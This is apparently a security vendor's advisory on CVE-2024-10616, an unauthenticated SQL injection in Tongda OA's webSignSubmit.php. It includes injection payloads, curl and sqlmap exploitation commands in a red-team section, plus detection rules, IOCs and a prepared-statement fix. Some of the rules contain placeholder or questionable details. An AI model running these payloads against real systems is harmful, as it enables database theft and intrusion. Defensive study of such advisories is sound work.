CVE-2024-10616

Executive Summary

CVE-2024-10616 is a critical SQL injection vulnerability discovered in Tongda OA (Office Automation) versions up to and including 11.9. The flaw resides in the /pda/workflow/webSignSubmit.php file, where the saleId parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to complete database compromise, data exfiltration, and lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is available from the vendor at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (Tongda OA) and should be treated as a third-party software supply chain risk. Organizations using this software should assess their exposure and consider isolating the application until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the exploit is publicly available. Immediate action is required.

Deep Dive & Mechanics

The vulnerability exists in the file /pda/workflow/webSignSubmit.php. This script handles web sign submissions in the workflow module. The saleId parameter is taken directly from user input (likely via GET or POST) and concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

$saleId = $_REQUEST['saleId'];
$sql = "SELECT * FROM workflow WHERE sale_id = '$saleId'";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing a malicious saleId value, such as:

1' UNION SELECT username,password FROM users--

This would allow the attacker to retrieve sensitive data from other tables, modify data, or potentially execute system commands if the database server has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Tongda OA <= 11.9):

$saleId = $_REQUEST['saleId'];
$sql = "SELECT * FROM workflow WHERE sale_id = '$saleId'";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual - No official patch):

$saleId = $_REQUEST['saleId'];
$stmt = $conn->prepare("SELECT * FROM workflow WHERE sale_id = ?");
$stmt->bind_param("s", $saleId);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Tongda OA 11.9 in a controlled environment (e.g., Docker or VM).
2. Ensure the /pda/workflow/webSignSubmit.php endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/pda/workflow/webSignSubmit.php
2. Craft a malicious request to test for SQL injection:

   curl -X POST "http://target/pda/workflow/webSignSubmit.php" \
   -d "saleId=1' OR '1'='1"
   

3. If the application returns unexpected data or errors, the vulnerability is confirmed.
4. Use a more advanced payload to extract data:

   curl -X POST "http://target/pda/workflow/webSignSubmit.php" \
   -d "saleId=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

5. Adjust the number of columns based on the original query structure.

Automated Exploitation (sqlmap):

sqlmap -u "http://target/pda/workflow/webSignSubmit.php" \
--data="saleId=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests to /pda/workflow/webSignSubmit.php with suspicious saleId parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Mitigation:

• Apply input validation: allow only numeric values for saleId.
• Use parameterized queries or prepared statements.
• Restrict database user privileges to the minimum required.
• Isolate the application from critical network segments.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pda/workflow/webSignSubmit.php with saleId containing SQL syntax.
• Outbound database connections from the web server to unusual IPs.
• Large data transfers from the database server.

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in web server access logs (e.g., 1' UNION SELECT).

System IOCs:

• Unexpected database queries in database logs.
• New user accounts or elevated privileges.
• Unusual processes running on the database server.

Detection Engineering

YARA Rule

rule CVE_2024_10616_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10616 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10616"
    strings:
        $saleId_param = "saleId=" nocase
        $sql_keywords = /(UNION|SELECT|OR|AND|--|#|'|\")/ nocase
    condition:
        $saleId_param and #sql_keywords > 2
}

Sigma Rule

title: CVE-2024-10616 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA webSignSubmit.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/pda/workflow/webSignSubmit.php'
        cs-uri-query|contains: 'saleId='
    keywords:
        - ' UNION '
        - ' SELECT '
        - ' OR '
        - ' AND '
        - '--'
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in saleId (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10616 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/pda/workflow/webSignSubmit.php"; http_uri;
    content:"saleId="; http_client_body;
    pcre:"/(UNION|SELECT|OR|AND|--|'|\")/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-10616;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Tongda OA application from the internet and critical network segments.
2. Apply input validation to the saleId parameter: allow only numeric values.
3. Implement a WAF rule to block SQL injection patterns.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor (Tongda) must release an official patch that uses parameterized queries.
• Until then, consider migrating to a different OA solution or implementing a reverse proxy with SQL injection protection.

Workaround Code (PHP):

$saleId = $_REQUEST['saleId'];
if (!is_numeric($saleId)) {
    die("Invalid input");
}
$stmt = $conn->prepare("SELECT * FROM workflow WHERE sale_id = ?");
$stmt->bind_param("s", $saleId);
$stmt->execute();
$result = $stmt->get_result();

Valters IT
Securing Digital Frontiers